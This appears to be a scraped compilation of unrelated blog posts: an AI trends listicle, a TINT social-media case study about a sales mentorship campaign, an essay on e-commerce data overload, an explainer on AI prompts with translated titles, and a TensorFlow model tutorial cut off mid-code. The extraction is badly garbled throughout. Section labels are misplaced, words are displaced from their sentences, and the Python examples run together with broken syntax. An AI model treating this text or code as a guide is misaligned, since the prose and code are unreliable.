LeanData provides the market’s leading Revenue Ops platform enabling high-growth B2B companies to improve the buyer experience and accelerate time to revenue

LeanData

leandata

Source: By Author ; possibilities of AI are innumerable and they easily surpass our most artistically fecund imaginations. We are really close to living in some sort of sci-fi, so it’s a good idea to have a look at the most possible and promising machine learning and and ask ourselves if we are ready for them. What all we read in science fiction novels or saw in movies like ‘The Matrix’ could someday materialize into reality. Artificial Intelligence AI trends for the upcoming 2019 In science fiction, , or they are benevolent caretakers of our species. In reality, machine-learning is already with us, evolving out of search engines like Google and seeping into our everyday lives without much fanfare. artificial intelligence (AI) systems are often bent on overthrowing human civilization Artificial intelligence is 360 solution for business and government leaders review the right moves. But what’s happens in the lab, where discoveries by for the coming year and beyond? Team of researchers from Artificial Intelligence Lab homed in on the leading developments both technologists and business leaders should watch closely. academic and corporate researchers will set AI’s course Courtesy: Google.com Bill Gates, the founder of Microsoft, once said that ‘AI can be our friend’ and is good for the society. Let’s have a look at the that will have a huge impact in years to come. trends In AI in 2018 ORIGINALLY POSTED: https://www.pwchk.com/en/industries/telecommunications-media-and-technology/publications/top-10-ai-technology-trends-for-2018.html Deep learning theory: The information bottleneck principle explains how a deep neural network learns. Deep neural networks, which mimic the human brain, have demonstrated their ability to “learn” from image, audio, and text data. Yet even after being in use for more than a decade, there’s still a lot we don’t yet know about deep learning, including how neural networks learn or why they perform so well. That may be changing, thanks to a new theory that applies the principle of an information bottleneck to deep learning. In essence, it suggests that after an initial fitting phase, a deep neural network will “forget” and compress noisy data — that is, data sets containing a lot of additional meaningless information — while still preserving information about what the data represents. What it is: Understanding precisely how deep learning works enables its greater development and use. For example, it can yield insights into optimal network design and architecture choices, while providing increased transparency for safety-critical or regulatory applications. Expect to see more results from the exploration of this theory applied to other types of deep neural networks and deep neural network design. Why it matters: Capsule Networks: New type of deep neural network that learns with fewer errors and less data, by preserving key hierarchical relationships. Capsule networks, a new type of deep neural network, process visual information in much the same way as the brain, which means they can maintain hierarchical relationships. This is in stark contrast to convolutional neural networks, one of the most widely used neural networks, which fail to take into account important spatial hierarchies between simple and complex objects, resulting in miss-classification and a high error rate. What it is: For typical identification tasks, capsule networks promise better accuracy via reduction of errors- by as much as 50 percent. They also don’t need as much data for training models. Expect to see the widespread use of capsule networks across many problem domains and deep neural network architectures. Why it matters: Deep Reinforcement Learning: This technique combines reinforcement learning with deep neural networks to learn by interacting with the environment. A type of neural network that learns by interacting with the environment through observations, actions, and rewards. Deep reinforcement learning (DRL) has been used to learn gaming strategies, such as Atari and Go — including the famous AlphaGo program that beat a human champion. What it is: (DRL)Deep reinforcement learning is the most general purpose of all learning techniques, so it can be used in most business applications. It requires less data than other techniques to train its models. Even more notable is that it can be trained via simulation, which eliminates the need for labeled data. Given these advantages, expect to see more business applications that combine DRL and agent-based simulation in the coming year. Why it matters: Generative Adversarial Networks: A type of unsupervised deep learning system, implemented as two competing neural networks, enabling machine learning with less human intervention. A generative adversarial network (GAN) is a type of unsupervised deep learning system that is implemented as two competing neural networks. One network, the generator, creates fake data that looks exactly like the real data set. The second network, the discriminator, ingests real and synthetic data. Over time, each network improves, enabling the pair to learn the entire distribution of the given data set. What it is: GANs open up deep learning to a larger range of unsupervised tasks in which labeled data does not exist or is too expensive to obtain. They also reduce the load required for a deep neural network because the two networks share the burden. Expect to see more business applications, such as cyber detection, employ GANs. Why it matters: Lean & Augmented Data Learning: Different techniques that enable a model to learn from less data or synthetic data. The biggest challenge in machine learning (deep learning, in particular), is the availability of large volumes of labeled data to train the system. Two broad techniques can help address this: (1) synthesizing new data and (2) transferring a model trained for one task or domain to another. Techniques, such as transfer learning (transferring the insights learned from one task/domain to another) or one-shot learning (transfer learning taken to the extreme with learning occurring with just one or no relevant examples) — making them “lean data” learning techniques. Similarly, synthesizing new data through simulations or interpolations helps obtain more data, thereby augmenting existing data to improve learning. What it is: Using these techniques, we can address a wider variety of problems, especially those with less historical data. Expect to see more variations of lean and augmented data, as well as different types of learning applied to a broad range of business problems. Why it matters: Probabilistic Programming: A high-level language that makes it easy for developers to define probability models. A high-level programming language that more easily enables a developer to design probability models and then automatically “solve” these models. languages make it possible to reuse model libraries, support interactive modeling and formal verification, and provide the abstraction layer necessary to foster generic, efficient inference in universal model classes. What it is: Probabilistic programming Probabilistic programming languages have the ability to accommodate the uncertain and incomplete information that is so common in the business domain. We will see wider adoption of these languages and expect them to also be applied to deep learning. Why it matters: Hybrid Learning Models: Approach that combines different types of deep neural networks with probabilistic approaches to model uncertainty. Different types of deep neural networks, such as GANs or DRL, have shown great promise in terms of their performance and widespread application with different types of data. However, deep learning models do not , the way Bayesian, or probabilistic, approaches do. Hybrid learning models combine the two approaches to leverage the strengths of each. Some examples of hybrid models are Bayesian deep learning, Bayesian GANs, and . What it is: model uncertainty Bayesian conditional GANs Hybrid learning models make it possible to expand the variety of business problems to include deep learning with uncertainty. This can help us achieve better performance and explainability of models, which in turn could encourage more widespread adoption. Expect to see more deep learning methods gain Bayesian equivalents while a combination of probabilistic programming languages start to incorporate deep learning. Why it matters: Automated Machine Learning: Technique for automating the standard workflow of machine learning. Developing machine learning models requires a time-consuming and expert-driven workflow, which includes data preparation, feature selection, model or technique selection, training, and tuning. AutoML aims to automate this workflow using a number of different statistical and deep learning techniques. What it is: AutoML is part of what’s seen as a democratization of AI tools, enabling business users to develop machine learning models without a deep programming background. It will also speed up the time it takes data scientists to create models. Expect to see more commercial AutoML packages and integration of AutoML within larger machine learning platforms. Why it matters: Digital Twin: A virtual model used to facilitate detailed analysis and monitoring of physical or psychological systems. A digital twin is a virtual model used to facilitate detailed analysis and monitoring of physical or psychological systems. The concept of the digital twin where it has been used widely to analyze and monitor things like windmill farms or industrial systems. Now, using agent-based modeling (computational models for simulating the actions and interactions of autonomous agents) and system dynamics (a computer-aided approach to policy analysis and design), digital twins are being applied to nonphysical objects and processes, including predicting customer behavior. What it is: originated in the industrial world Digital twins can help spur the development and broader adopting of the internet of things (IoT), providing a way to predictable diagnosis and maintain IoT systems. Going forward, expect to see greater use of digital twins in both physical systems and consumer choice modeling. Why it matters: Explainable Artificial Intelligence: Machine learning techniques that produce more explainable models while maintaining high performance. Today, there are scores of machine learning algorithms in use that sense, think, and act in a variety of different applications. Yet many of these algorithms are considered “black boxes,” offering little if any insight into how they reached their outcome. Explainable AI is a movement to develop machine learning techniques that produce more explainable models while maintaining prediction accuracy. What it is: AI that is explainable, provable, and transparent will be critical to establishing trust in the technology and will encourage wider adoption of machine learning techniques. Enterprises will adopt explainable AI as a requirement or best practice before embarking on widespread deployment of AI, while governments may make explainable AI a regulatory requirement in the future. Why it matters: Courtesy: Google.com Conclusion Overall, artificial intelligence is a fantastic opportunity for scientists and developers all over the world to make a sustainable ecosystem that’s more efficient for multiple purposes. The chance of machine making a mistake is much less than a human making a mistake; the state of development in multiple fields will shift to the whole new level. Like , eCommerce, logistics industries & autonomous factories are the few examples who are logically and globally accepting and implementing the trend of AI and IoT. If you are looking for any sort of consultants & development resources of machine learning & AI, you may get the assistance. healthcare

Top Artificial Intelligence Trends You Should Consider For AI & Machine Learning Development

Originally published at www.Tintup.com/casestudy — April 13, 2016 #getunstuck is sales video micro-mentorship at scale and it launches today. The largest campaign of its kind: by thought leaders in sales & business, for the new generation of the aspiring best. The movement empowers millennial salespeople to #getunstuck and share their own story. The Challenge of salespeople today: One traditional perception of salespeople is that they are solely money-motivated and just doing whatever it takes to close deals. Sales as a profession is shifting — the reality in the current business landscape is that salespeople are constantly seeking fulfillment to better themselves by honing their craft. Despite popular perception, sales is a very complex discipline and can be a very solitary lifestyle filled with obstacles. Perception vs. reality: It’s challenging to find quality content amongst the vast amount out there. Salespeople want the feeling of having a mentor, someone who shares gold nuggets of wisdom with them, but as they do the sales grind day in and day out, it’s not easy to find that valuable insight. We are providing this mentorship at scale by bringing together an unprecedented number of the brightest minds and gathering all their distilled wisdom in one place. Mentorship at scale: internet Salespeople aren’t seeking out long form articles to better themselves. The way we consume content has changed — we chose the 60-second format to truly suit the millennial audience. How do millennials consume content? The Solution: To raise #getunstuck awareness and engagement with TINT’s web display solution. To initiate the campaign, we reached out to the top sales thought leaders and have already begun receiving community submissions on . www.getunstuck.club The companies participating include SalesLoft, Marin Software, CenturyLink, Influitive, SAP, Fastly, Tint, Hubspot, Salesforce, UC Berkeley Extension, LeanData, HackerRank, HireVue, Dyn, TalentBin, Reward Gateway, Birst and more. As well as our favorite thought leaders from Predictable Revenue, A Sales Guy, Score More Sales, Sales Pro Insider, Heinz , Sales Trainer, Sales Hacker, Harris Consulting, Creation Agency, Sales-Shake and more. Marketing To amplify engagement, we’ll be facilitating a #getunstuck daily tweet discussion from @getunstuckdaily around the featured videos of the day. “TINT has enabled us to unite top sales leaders to share wisdom for the next generation of salespreneurs.” — Branko Cerny, CEO/Cofounder of Immediately TINT has allowed #getunstuck to: Identify and increase engagement with members of top sales communities on Twitter, YouTube and LinkedIn. Aggregate and curate authentic video content to be shared and reshared on social media and participants’ social channels. Unite sales leaders around the world and to empower salespeople by joining the movement on www.getunstuck.club How #getunstuck used TINT: In order to use TINT, #getunstuck had to upload collected videos on an Youtube playlist called ‘getunstuck’. To connect the Youtube content, we utilized TINT to aggregate the private playlist and chose to we made them public. Controlling when the videos go live are valuable because a movement does not take place overnight. In order to create a movement, we had to command the release of the videos in a timely and strategic fashion. manually approve posts before Personally, I’ve been using Tint since 2013 and it has helped my projects save a total development cost of over $50k. TINT helps our project treat every social post like royalty W e’re excited to share the results in a follow-up post after the campaign is over so you can learn the best strategy! Join the movement today by uploading your community videos on @getunstuckdaily. Tell us how you #getunstuck in your day to day sales process. Twitter

TINT case study hacks — Sales Millennials’ #getunstuck campaign launches today

Back in 2010 when I started as the “analytics guy” at Demandware (which later became Salesforce Commerce Cloud), I worked with brands & retailers to help them identify growth opportunities using data. Back then, several of these organizations were still early in their e-commerce journeys. Traditional retail thinking had a heavy influence on the way digital leaders thought about business growth. This seeped into analytics and all things data. But Digital had this big advantage that everyone knew, but weren’t quite sure of how to leverage effectively — . data This led to organizational leaders behaving a bit like kids in a candy store - excited and acting “grabby” at any and all the data they can get. E-Commerce platforms were a firehose of customer behavior and transaction data, something that brick&mortar retail always struggled to collect. This created “fat data”. Data that accumulated in dashboards, emails, and slides that bogged leaders down. They were wading through “data muck” and more often than not, it sapped their energy instead of propelling them forward. Fast forward to 2023, as brands (are forced to) migrate over to (aka GA4), this “capture everything possible” mindset is making a comeback, albeit in a nuanced manner. It seems like Digital leaders are looking at this as an opportunity to refine their data capture strategy and fix things that they’ve seen break in their recent experience. Google Analytics 4 So I found myself asking - how do we help brand leaders understand what to track and get comfortable with that decision? Today, the attitude towards data has shifted a bit (for the better). E-commerce teams love data. Numbers, reports, and charts get emailed around and shared in collaboration tools on a regular basis. As a result, these organizations have internal “data factories” that churn out charts on a regular basis, for one-time studies as well as scheduled reporting. But is some amount of data collection unnecessary, and perhaps even damaging to the organization by creating complexity and adding confusion? Digital leaders want their decisions to be based on as much hard data as possible. Some still look at it as a source for reinforcing their intuition but some like to be challenged. In all cases, though, managers would do well to ask themselves about their data as a way to ensure that data moves the needle for the organization and doesn’t create an “analysis muck” for the leadership to wade through. 4 questions Are we asking the right questions? Many organizations just collect what’s available instead of focussing on the information needed to help make decisions and run the business. Instead, managers should make a list of questions they want data to answer. These questions should help them run the business and make operational decisions. Then focus their data collection efforts around those than everything else that’s possible. Does this data tell a story? Data in its is almost never usable. It needs to be put together into coherent information. This, then, needs to be connected to the current context of the business to tell a “story”. Data platforms and analytics systems are getting very good at the former. It seems like we still need a human for the latter. Generative AI may change that, but not in the summer of 2023. Managers should then focus on the data that’s needed to convey the story they want to tell. Stories sell. raw form Does this data help us look prepare by predicting probabilities? Data can help react to recent events, and it can also help prepare for potential events in the near future. Almost all tools these days provide some level of forecasting and predictive capabilities. As a last resort, doing simple regression in a spreadsheet tool of your choice is getting easier by the day. In this brave new world, managers should focus on collecting data for the metrics they want to be able to predict and prepare for. Does it help you answer the “why” behind events? We have gotten better are answering “what” questions. But not so much in answering “why”. Answers to “why” require some level of intuition and judgment. It also requires qualitative data. Managers would serve their organizations well by thinking in advance about qualitative data that can help answer the “why” behind the key questions they need to be answered. Collecting and processing data is only getting easier. But E-commerce leaders and managers need to be mindful of the operational burden and cognitive overload that data overload can create. Stay lean - move fast. Avoid data muck.

Do You Need All This Data?

Feature image created by Dall-E 2 Have you ever wondered what it’s like to chat with AI? I did, and I can tell you it was a chat-astrophe. I asked the AI how it felt, and it replied, ‘I feel great, thanks for asking. How can I help you with your existential crisis today?’ That’s the beauty of AI prompts: they can understand context and generate human responses that are sometimes too good to be true. AI Prompts Explained AI prompts are a powerful tool that uses (AI). They use machine learning algorithms to learn patterns and associations in data, allowing them to generate more human-like responses. They improve efficiency, help save costs and improve the customer experience. artificial intelligence AI prompts are growing in popularity because they can be applied everywhere — from customer service to education. How Does It Work AI prompts use (NLP) algorithms to respond based on a particular prompt or input. They learn through large data sets of text, such as social media or news articles. helps them to recognize patterns and associations in the data. Natural Language Processing Deep learning When a prompt is given, the AI prompt model uses the patterns it has learned to generate a response that is contextually relevant to the input. This process is called “inference” and calculates the probabilities of different word sequences based on the prompt and training data. The AI prompt model then selects the most likely word sequence and generates an answer similar to someone else’s. ChatGPT: The AI Prompt Model History and Development ChatGPT is one of the most popular AI prompt models. It was developed by OpenAI, a research organization whose goal is to create safe and useful AI. ChatGPT is built on the (GPT) architecture, which uses deep learning algorithms to generate natural language responses based on a given input or prompt. Generative Pre-trained Transformer ChatGPT aims to conduct conversations and has been trained in advance on a large corpus of conversation data. Since its launch, the model has become one of the most popular AI prompt models and is used in a variety of applications such as customer service, language translation, and creative writing. OpenAI has released several versions since the release of the GPT model, each with greater capacity and better performance. GPT-3 was launched in June 2020 and received a lot of attention for its impressive language skills. GPT-4 was released in March 2023 and ChatGPT is a specific application of the model trained only for conversational AI applications. By pre-training on a large amount of conversational data, it can generate responses that are contextually appropriate for the input. In a short time, ChatGPT has become one of the most popular prompt models. Using AI Prompts How AI Prompts Are Used Here are some examples of how AI prompts are used in different areas: : AI prompts are increasingly used in customer service to respond faster and more accurately to customer queries. For example, chatbots can be programmed with AI prompts to answer frequently asked questions, provide basic support, and even process orders. Customer service : AI prompts are used in healthcare to help doctors and nurses make more accurate diagnoses and treatment decisions. For example, AI prompts can be used to analyze patient data, suggest possible diagnoses, and recommend treatment options. Healthcare : In education, AI prompts are used to improve learning and student achievement. Education : AI prompts are used in finance to improve financial decision-making and reduce risk. Finance : In retail, AI prompts are used to improve customer experience and increase sales. AI prompts can also be used to analyze inventory levels. Retail AI prompts are being deployed across many different industries and applications to improve efficiency, accuracy, and personalization. Given the technological advancements in AI, we can expect more innovative applications of AI prompts in the near future. : Prompt to have your resume reviewed I want you to act as a resume reviewer. I will give you my resume and you give me feedback on it. Please add feedback on the following points: — What sections should I add to make my resume more readable. — How I can make my CV easier to scan. — What grades and results can I add to my CV. — What type of action verbs should I choose. — Am I using too much jargon and how to replace it. The Benefit of Using AI Prompts AI prompts provide several benefits to businesses and their customers. On the one hand, automating repetitive tasks, such as answering frequently asked questions, help. Thus, companies can improve efficiency. This can lead to faster response times and higher productivity. On the other hand, AI prompts provide a personalized interaction with the customer by offering suggestions based on preferences and behavior. In general, the use of AI prompts contributes to better efficiency and customer experience, which can ultimately contribute to the growing success of the Company. Ethical Considerations of AI Prompts Potential Ethical Issues The use of AI prompts raises several ethical issues. First, the results may be biased because the training data may contain information from a specific group or demographic, which in turn may lead to discriminatory outcomes. In addition, privacy can be violated by using information that can be traced back to individuals. It is therefore important that AI prompts are developed and used in an ethical manner, respecting the privacy of individuals and avoiding bias. How Are These Issues Addressed? Several initiatives are underway to address the ethical implications of using AI prompts. One way to do this is to improve the diversity and representativeness of the data used to train AI models. Another approach is to implement transparency and accountability measures so that the development and use of AI prompts are fair and equitable. For this, it is necessary to state the algorithms and data sources used, as well as implement control mechanisms to ensure that the results are fair and unbiased. Finally, there are efforts to promote privacy and data protection through the development of data protection laws and regulations, such as the (GDPR) in the European Union. General Data Protection Regulation These laws give individuals more control over their personal data and require organizations to take measures to protect the privacy rights of individuals. : To act as an educational content creator I want you to act as an educational content creator. You must create engaging and informative content for learning materials such as textbooks, online courses, and lecture notes. My first suggestion request is, “I need help developing a renewable energy lesson plan for high school students.” The Future of AI Prompts The future improvements in AI prompts will likely amount to an increase in their accuracy and the number of applications that become possible. One area that shows promise for improvement is the development of more advanced natural language processing (NLP) techniques. These can increase the precision of AI prompts in understanding and generating language. This would enable more complex and sensitive interactions with AI systems, which in turn could result in better and personalized answers to user questions. How to Create An AI Prompt For example, some tips to give ChatGPT the correct prompt: : Determine what you want to achieve with the prompt. Are you looking for a specific answer to a question, or are you looking for creative ideas or solutions to a problem? Determine your goal : Write your prompt in a clear and concise manner, using correct grammar and spelling. Avoid using ambiguous language or overly complex sentences that may confuse the model. Be clear and concise : Provide any relevant information or context that can help the model understand the task. This can be additional data or background information related to the topic of the prompt. Provide context : Don’t give up on a concept just because your first prompt didn’t produce the desired result. Often, finding the right word or wording can unlock what you’re looking for. Use a thesaurus : If you want the AI to understand your request, make sure your prompt contains a verb that properly expresses your intent. Watch your verbs : Make it clear from the start what you’re trying to do, and play with it. It is always helpful to place an umbrella of intent over what you want to do. Playing around with different ways to do that can make a big difference. ChatGPT is good at recognizing intentions : To act as title generator for articles I want you to act as an article title generator. I give you the topic and keywords of an article. You generate five catchy titles. Keep the titles concise and under 20 words and make sure to preserve the meaning. My first topic is “LearnData a knowledge base built on VuePress, into which I integrated all my notes and articles, making it easy to use and share.” In addition, it is useful to consider the limitations of the model and the type of responses it can generate. While ChatGPT is an advanced AI language model, it’s important to remember that it doesn’t always provide the exact answer you’re looking for and may require multiple prompts or prompt tweaks to get to the desired result. Ultimately, it is a statistical tool that gives the most plausible answer Conclusion AI prompts are an AI model that uses machine learning model algorithms so that responses can be generated in natural language. However, we cannot blindly assume that the responses are correct. Validation of the responses is still required. Sources (and Tips) for AI Prompts I’ve Used: Unfluffer ChatGPT DALL-E-2 10+ ChatGPT Prompts to Write Your Resume in a Blink of an Eye You’re Using ChatGPT Wrong! Here’s How to Be Ahead of 99% of ChatGPT Users How to Write Better ChatGPT Prompts, According to AI Engineer Awesome ChatGPT prompts 11 Cool ChatGPT Prompts for Data Science 73 Important ChatGPT Statistics & Facts for March 2023 (Gpt-4 Update) Timeline or ChatGPT I Paid a Professional to Edit a ChatGPT-Written Article — Hilarity Ensued ChatGPT Statistics 2023

What You Need to Know About AI Prompts

এআই প্রম্পট সম্পর্কে আপনার যা জানা দরকার

Was Sie über KI-Eingabeaufforderungen wissen müssen

Lo que necesita saber sobre las indicaciones de IA

Ce que vous devez savoir sur les invites de l'IA

एआई प्रॉम्प्ट्स के बारे में आपको क्या जानने की आवश्यकता है

AIプロンプトについて知っておくべきこと

AI 프롬프트에 대해 알아야 할 사항

O que você precisa saber sobre prompts de IA

Yapay Zeka İstemleri Hakkında Bilmeniz Gerekenler

Những điều bạn cần biết về lời nhắc AI

您需要了解的有关 AI 提示的内容

Tensor & Flow: Part 1, TensorFlow & Machine Learning on Android

The fast and easy guide to the most popular Deep Learning framework in the world. Make sure to check out the other articles . here Overview In this installment we will be going over all the abstracted models that are currently available in TensorFlow and describe use cases for that particular model as well as simple sample code. Full sources of working examples are in the . TensorFlow In a Nutshell repo A recurrent neural network Recurrent Neural Networks Language Modeling, Machine translation, Word embedding, Text processing. Use Cases: Since the advent of Long Short Term Memory and Gated Recurrent Units, Recurrent Neural Networks have made leaps and bounds above other models in natural language processing. They can be fed vectors representing characters and be trained to generate new sentences based on the training set. The merit in this model is that it keeps the context of the sentence and derives meaning that “cat sat on the mat” means the cat is on the mat. Since the creation of TensorFlow writing these networks have become increasingly simpler. There are even hidden features covered by Denny Britz that make writing RNN’s even simpler heres a quick example. here import tensorflow as tfimport numpy as np X = np.random.randn(2, 10, 8) # Create input data X[1,6,:] = 0X_lengths = [10, 6] # The second example is of length 6 cell = tf.nn.rnn_cell.LSTMCell(num_units=64, state_is_tuple= )cell = tf.nn.rnn_cell.DropoutWrapper(cell=cell, output_keep_prob=0.5)cell = tf.nn.rnn_cell.MultiRNNCell(cells=[cell] * 4, state_is_tuple= ) True True outputs, last_states = tf.nn.dynamic_rnn(cell=cell,dtype=tf.float64,sequence_length=X_lengths,inputs=X) result = tf.contrib.learn.run_n({"outputs": outputs, "last_states": last_states},n=1,feed_dict= ) None Convolution Neural Network Convolution Neural Networks Image processing, Facial recognition, Computer Vision Use Cases: Convolution Neural Networks are unique because they’re created in mind that the input will be an image. CNNs perform a sliding window function to a matrix. The window is called a kernel and it slides across the image creating a convolved feature. from http://deeplearning.standford.edu/wiki/index.php/Feature_extraction_using_convolution Creating a convolved feature allows for edge detection which then allows for a to depict objects from pictures. network edge detection from GIMP manual The convolved feature to create this looks like this matrix below: Convolved feature from GIMP manual Here’s a sample of code to identify handwritten digits from the MNIST dataset. ### Convolutional networkdef max_pool_2x2(tensor_in):return tf.nn.max_pool(tensor_in, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') def conv_model(X, y): reshape X to 4d tensor with 2nd and 3rd dimensions being image width and height final dimension being the number of color channels. X = tf.reshape(X, [-1, 28, 28, 1]) first conv layer will compute 32 features for each 5x5 patch with tf.variable_scope('conv_layer1'):h_conv1 = learn.ops.conv2d(X, n_filters=32, filter_shape=[5, 5],bias=True, activation=tf.nn.relu)h_pool1 = max_pool_2x2(h_conv1) second conv layer will compute 64 features for each 5x5 patch. with tf.variable_scope('conv_layer2'):h_conv2 = learn.ops.conv2d(h_pool1, n_filters=64, filter_shape=[5, 5],bias=True, activation=tf.nn.relu)h_pool2 = max_pool_2x2(h_conv2) # reshape tensor into a batch of vectors  
h\_pool2\_flat = tf.reshape(h\_pool2, \[-1, 7 \* 7 \* 64\]) densely connected layer with 1024 neurons. h_fc1 = learn.ops.dnn(h_pool2_flat, [1024], activation=tf.nn.relu, dropout=0.5)return learn.models.logistic_regression(h_fc1, y) Feed Forward Neural Networks Classification and Regression Use Cases: These networks consist of perceptrons in layers that take inputs that pass information on to the next layer. The last layer in the network produces the output. There is no connection between each node in a given layer. The layer that has no original input and no final output is called the hidden layer. The goal of this network is similar to other supervised neural networks using back propagation, to make inputs have the desired trained outputs. These are some of the simplest effective neural networks for classification and regression problems. We will show how easy it is to create a feed forward network to classify handwritten digits: def init_weights(shape):return tf.Variable(tf.random_normal(shape, stddev=0.01)) def model(X, w_h, w_o):h = tf.nn.sigmoid(tf.matmul(X, w_h)) # this is a basic mlp, think 2 stacked logistic regressionsreturn tf.matmul(h, w_o) # note that we dont take the softmax at the end because our cost fn does that for us mnist = input_data.read_data_sets("MNIST_data/", one_hot=True)trX, trY, teX, teY = mnist.train.images, mnist.train.labels, mnist.test.images, mnist.test.labels X = tf.placeholder("float", [None, 784])Y = tf.placeholder("float", [None, 10]) w_h = init_weights([784, 625]) # create symbolic variablesw_o = init_weights([625, 10]) py_x = model(X, w_h, w_o) cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(py_x, Y)) # compute coststrain_op = tf.train.GradientDescentOptimizer(0.05).minimize(cost) # construct an optimizerpredict_op = tf.argmax(py_x, 1) # Launch the graph in a sessionwith tf.Session() as sess:# you need to initialize all variablestf.initialize_all_variables().run() for i in range(100):for start, end in zip(range(0, len(trX), 128), range(128, len(trX)+1, 128)):sess.run(train_op, feed_dict={X: trX[start:end], Y: trY[start:end]})print(i, np.mean(np.argmax(teY, axis=1) ==sess.run(predict_op, feed_dict={X: teX, Y: teY}))) Linear Models Classification and Regression Use Cases: Linear models take X values and produce a line of best fit used for classification and regression of Y values. For example if you have a list of house sizes and their price in a neighborhood you can predict the price of house given the size using a linear model. One thing to note is that linear models can be used for multiple X features. For example in the housing example we can create a linear model given house sizes, how many rooms, how many bathrooms and price and predict price given a house with size, # of rooms, # of bathrooms. import numpy as npimport tensorflow as tf def weight_variable(shape):initial = tf.truncated_normal(shape, stddev=1)return tf.Variable(initial) # datasetxx = np.random.randint(0,1000,[1000,3])/1000.yy = xx[:,0] * 2 + xx[:,1] * 1.4 + xx[:,2] * 3 # modelx = tf.placeholder(tf.float32, shape=[None, 3])y_ = tf.placeholder(tf.float32, shape=[None])W1 = weight_variable([3, 1])y = tf.matmul(x, W1) # training and cost functioncost_function = tf.reduce_mean(tf.square(tf.squeeze(y) - y_))train_function = tf.train.AdamOptimizer(1e-2).minimize(cost_function) # create a sessionsess = tf.Session() # trainsess.run(tf.initialize_all_variables())for i in range(10000):sess.run(train_function, feed_dict={x:xx, y_:yy})if i % 1000 == 0:print(sess.run(cost_function, feed_dict={x:xx, y_:yy})) Support Vector Machines Currently only Binary Classification Use Cases: The general idea behind a SVM is that there is an optimal hyperplane for linearly separable patterns. For data that is not linearly separable we can use a kernel function to transform the original data into a new space. SVMs maximize the margin around separating the hyperplane. They work extremely well in high dimensional spaces and and are still effective if the dimensions are greater than the number of samples. def input_fn():return {'example_id': tf.constant(['1', '2', '3']),'price': tf.constant([[0.6], [0.8], [0.3]]),'sq_footage': tf.constant([[900.0], [700.0], [600.0]]),'country': tf.SparseTensor(values=['IT', 'US', 'GB'],indices=[[0, 0], [1, 3], [2, 1]],shape=[3, 5]),'weights': tf.constant([[3.0], [1.0], [1.0]])}, tf.constant([[1], [0], [1]]) price = tf.contrib.layers.real_valued_column('price')sq_footage_bucket = tf.contrib.layers.bucketized_column(tf.contrib.layers.real_valued_column('sq_footage'),boundaries=[650.0, 800.0])country = tf.contrib.layers.sparse_column_with_hash_bucket('country', hash_bucket_size=5)sq_footage_country = tf.contrib.layers.crossed_column([sq_footage_bucket, country], hash_bucket_size=10)svm_classifier = tf.contrib.learn.SVM(feature_columns=[price, sq_footage_bucket, country, sq_footage_country],example_id_column='example_id',weight_column_name='weights',l1_regularization=0.1,l2_regularization=1.0) svm_classifier.fit(input_fn=input_fn, steps=30)accuracy = svm_classifier.evaluate(input_fn=input_fn, steps=1)['accuracy'] Deep and Wide Models Recommendation systems, Classification and Regression Use Cases: Deep and Wide models were covered with greater detail in , so we won’t get too heavy here. A Wide and Deep Network combines a linear model with a feed forward neural net so that our predictions will have memorization and generalization. This type of model can be used for classification and regression problems. This allows for less feature engineering with relatively accurate predictions. Thus, getting the best of both worlds. Here’s a code snippet from . part two part two’s github def input_fn(df, train=False):"""Input builder function.""" Creates a dictionary mapping from each continuous feature column name (k) to the values of that column stored in a constant Tensor. continuous_cols = {k: tf.constant(df[k].values) for k in CONTINUOUS_COLUMNS} Creates a dictionary mapping from each categorical feature column name (k) to the values of that column stored in a tf.SparseTensor. categorical_cols = {k: tf.SparseTensor(indices=[[i, 0] for i in range(df[k].size)],values=df[k].values,shape=[df[k].size, 1])for k in CATEGORICAL_COLUMNS} Merges the two dictionaries into one. feature_cols = dict(continuous_cols)feature_cols.update(categorical_cols) Converts the label column into a constant Tensor. if train:label = tf.constant(df[SURVIVED_COLUMN].values)# Returns the feature columns and the label.return feature_cols, labelelse:return feature_cols m = build_estimator(model_dir)m.fit(input_fn=lambda: input_fn(df_train, True), steps=200)print m.predict(input_fn=lambda: input_fn(df_test))results = m.evaluate(input_fn=lambda: input_fn(df_train, True), steps=1)for key in sorted(results):print("%s: %s" % (key, results[key])) Random Forest Classification and Regression Use Cases: Random Forest model takes many different classification trees and each tree votes for that class. The forest chooses the classification having the most votes. Random Forests do not overfit, you can run as many treees as you want and it is relatively fast. Give it a try on the iris data with this snippet below: hparams = tf.contrib.tensor_forest.python.tensor_forest.ForestHParams(num_trees=3, max_nodes=1000, num_classes=3, num_features=4)classifier = tf.contrib.learn.TensorForestEstimator(hparams) iris = tf.contrib.learn.datasets.load_iris()data = iris.data.astype(np.float32)target = iris.target.astype(np.float32) monitors = [tf.contrib.learn.TensorForestLossMonitor(10, 10)]classifier.fit(x=data, y=target, steps=100, monitors=monitors)classifier.evaluate(x=data, y=target, steps=10) Bayesian Reinforcement Learning Classification and Regression Use Cases: In the contrib folder of TensorFlow there is a library called BayesFlow. BayesFlow has no documentation except for an example of the REINFORCE algorithm. This algorithm is proposed in a by Ronald Williams. paper ward ncrement = onnegative actor * ffset einforcement * haracteristic ligibility RE I N F O R C E This network trying to solve an immediate reinforcement task, adjusts the weights after getting the reinforcement value at each trial. At the end of each trial each weight is incremented by a learning rate factor multiplied by the reinforcement value minus the baseline multiplied by characteristic eligibility. Williams paper also discusses the use of back propagation to train the REINFORCE network. learning """Build the Split-Apply-Merge Model.Route each value of input [-1, -1, 1, 1] through one of thefunctions, plus_1, minus_1.  The decision for routing is made by4 Bernoulli R.V.s whose parameters are determined by a neural networkapplied to the input.  REINFORCE is used to update the NN parameters.Returns:The 3-tuple (route_selection, routing_loss, final_loss), where:- route_selection is an int 4-vector- routing_loss is a float 4-vector- final_loss is a float scalar."""inputs = tf.constant([[-1.0], [-1.0], [1.0], [1.0]])targets = tf.constant([[0.0], [0.0], [0.0], [0.0]])paths = [plus_1, minus_1]weights = tf.get_variable("w", [1, 2])bias = tf.get_variable("b", [1, 1])logits = tf.matmul(inputs, weights) + bias # REINFORCE forward steproute_selection = st.StochasticTensor(distributions.Categorical, logits=logits) Linear Chain Conditional Random Fields Sequential Data Use Cases: CRFs are conditional probability distributions that factoirze according to an undirected model. They predict a label for a single sample keeping context from the neighboring samples. CRFs are similar to Hidden Markov Models. CRFs are often used for image segmentation and object recognition, as well as shallow parsing, named entity recognition and gene finding. # Train for a fixed number of iterations.session.run(tf.initialize_all_variables())for i in range(1000):tf_unary_scores, tf_transition_params, _ = session.run([unary_scores, transition_params, train_op])if i % 100 == 0:correct_labels = 0total_labels = 0for tf_unary_scores_, y_, sequence_length_ in 